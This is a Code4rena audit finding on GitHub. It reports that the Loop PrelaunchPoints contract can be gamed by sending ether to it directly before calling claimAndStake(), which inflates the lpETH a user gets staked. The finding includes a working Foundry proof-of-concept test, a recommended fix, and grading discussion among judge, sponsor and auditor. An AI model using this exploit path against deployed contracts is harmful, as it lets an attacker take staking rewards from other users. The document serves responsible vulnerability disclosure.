code-423n4 / 2024-05-loop-findings

4 stars 4 forks source link

User can game rewarding system siphoning rewards for themselves at a huge margin to other stakers when it shouldn't be possible #48

Closed howlbot-integration[bot] closed 3 months ago

howlbot-integration[bot] commented 4 months ago

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L226-L235 https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L263 https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L262

Vulnerability details

Impact

A user can lock up a very small amount of LRT e.g 0.5 rsETH while earning 10x+ more staking rewards compared to another user who locked up 10 rsETH effectively taking most of the staking reward pool from other honest stakers who are unaware of the exploit path.

Proof of Concept

Summarization is to transfer ether into the contract directly slightly before or while executing claimAndStake() for your LRT each call which will allow you to redeem then stake more lpETH than it should since lock-up periods are long past.

Paste the POC test into the PreLaunchPoints.t.sol test file and run the code with forge test --mt testSiphonStakeRewardsPOC

function testSiphonStakeRewardsPOC() public {
       address alice = makeAddr("alice");
       address bob = makeAddr("bob");

        lrt.mint(bob, 10 ether);
        lrt.mint(alice, 0.5 ether);

        vm.prank(bob);
        lrt.approve(address(prelaunchPoints), 10 ether); 
        vm.prank(alice);
        lrt.approve(address(prelaunchPoints), 0.5 ether); 

        vm.prank(bob);
        prelaunchPoints.lock(address(lrt), 10 ether, referral);
        vm.prank(alice);
        prelaunchPoints.lock(address(lrt), 0.5 ether, referral);

        // Set Loop Contracts and Convert to lpETH
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1);
        prelaunchPoints.convertAllETH();
        vm.warp(prelaunchPoints.startClaimDate() + 1);

        vm.prank(bob);
        prelaunchPoints.claimAndStake(address(lrt), 100, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d00000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000dbd2fc137a300000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f0001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000");

        assertEq(prelaunchPoints.balances(bob, address(lrt)), 0);

        vm.deal(alice, 10 ether); // alice sends 10 ether to the contract
        // simulation of alice transferring ether into the PrelaunchPoints contract right before her claimAndStake transaction execution
        vm.deal(address(prelaunchPoints), 10 ether); // @note lets see this as alice making the ether transfer to prelaunchPoints contract

        vm.prank(alice); // @note alice specifies 10% to redeem in lpETH aka 0.05 lpETH
        prelaunchPoints.claimAndStake(address(lrt), 10, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000b1a2bc2ec5000000000000000000000000000000000000000000000000000000b147c91e4ac0000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f0001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000");

        vm.warp(block.timestamp + 30 minutes);
        vm.deal(alice, 10 ether); // alice sends 10 ether to the contract
        // simulation of alice transferring ether into the PrelaunchPoints contract right before her claimAndStake transaction execution
        vm.deal(address(prelaunchPoints), 10 ether); // @note lets see this as alice making the ether transfer to prelaunchPoints contract

        vm.prank(alice); // @note alice specifies 10% to redeem in lpETH aka 0.045 lpETH at this point
        prelaunchPoints.claimAndStake(address(lrt), 10, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000009fdf42f6e48000000000000000000000000000000000000000000000000000009c51c4521e00000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f0001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000");

        vm.warp(block.timestamp + 30 minutes);

        vm.deal(alice, 10 ether); // alice sends 10 ether to the contract
        // simulation of alice transferring ether into the PrelaunchPoints contract right before her claimAndStake transaction execution
        vm.deal(address(prelaunchPoints), 10 ether); // @note lets see this as alice making the ether transfer to prelaunchPoints contract

        vm.prank(alice); // @note alice specifies 10% to redeem in lpETH aka 0.0405 lpETH at this point
        prelaunchPoints.claimAndStake(address(lrt), 10, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000008fe28911674000000000000000000000000000000000000000000000000000008f879600ed00000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f0001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000");

        // @note she can keep this up

        // @note since she always transfers ether directly right before the claimAndStake calls, she ends up with 10 lpETH plus the 10% in converted each time the swap will send back to prelaunchPoints each time evaluating to 10.05 `lpETH` the first call, then 10.045 `lpETH` the next call and 10.405 `lpETH` the next call and so on... claimed and staked each call which shouldn't be happening

        assertEq(prelaunchPoints.balances(alice, address(lrt)), 0.3645 ether); // @note she still has plenty of leeway to run the exploit next time
        assertEq(lpETHVault.balanceOf(alice), 30 ether);
         // @note she successfully breaches the locking mechanism and gaming the staking rewards to get 30.1355 lpETH staked thereby taking a huge chunk of the rewards from bob and the rest stakers
    }

Test result

[PASS] testSiphonStakeRewardsPOC() (gas: 446597)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 33.25ms (4.64ms CPU time)

Tools Used

Manual review

Recommended Mitigation Steps

The contract's usage of address(this).balance during claiming of lpETH is flawed. Rather than assuming the only ether in the contract at that time is the one gotten from the swap transaction for a claim, use a before and after balance to track and properly record the actual balance the swap resulted in. Then, use that delta as the amount to mint to the user in lpETH that is then staked.

Assessed type

Timing

c4-judge commented 4 months ago

koolexcrypto marked the issue as primary issue

0xd4n1el commented 4 months ago

We manage this situation offchain, since points depend on the Locked event. Claimed event is used as a safeguard against tricky withdrawals and cannot boost points the way mentioned above. We might implement filter on ETH receive but not for this reason

c4-judge commented 3 months ago

koolexcrypto marked the issue as duplicate of #33

c4-judge commented 3 months ago

koolexcrypto marked the issue as partial-75

rexjoseph commented 3 months ago

@koolexcrypto Forgive me, but I do not understand why this issue is graded partial-75 when it identifies the full impact and exploit scenario related to #33 and builds upon it for the staking part. I have two issues marked as duplicates of #33

  1. This issue being issue #48 where I didn't mention the deposit time invariant being broken.
  2. And issue #56 which is a full duplicate talking about the broken invariant and a coded POC to illustrate. I think #56 is a more complete report than #33 with all the facts but I can understand the selection is not from my point of view.

Since code4rena only awards one of 2 duplicates when a researcher has more than 1 duplicate tied to a primary issue, I think it is unfair to grade issue #48 as partial-75 when in fact it elaborates on the full impact and will then mess up rewarding for my issues. Making issue #48 a full duplicate will resolve this.

Could you please take a look at this? Thanks!

koolexcrypto commented 3 months ago

Hi @rexjoseph

I do agree. marking this as a full credit.

c4-judge commented 3 months ago

koolexcrypto marked the issue as satisfactory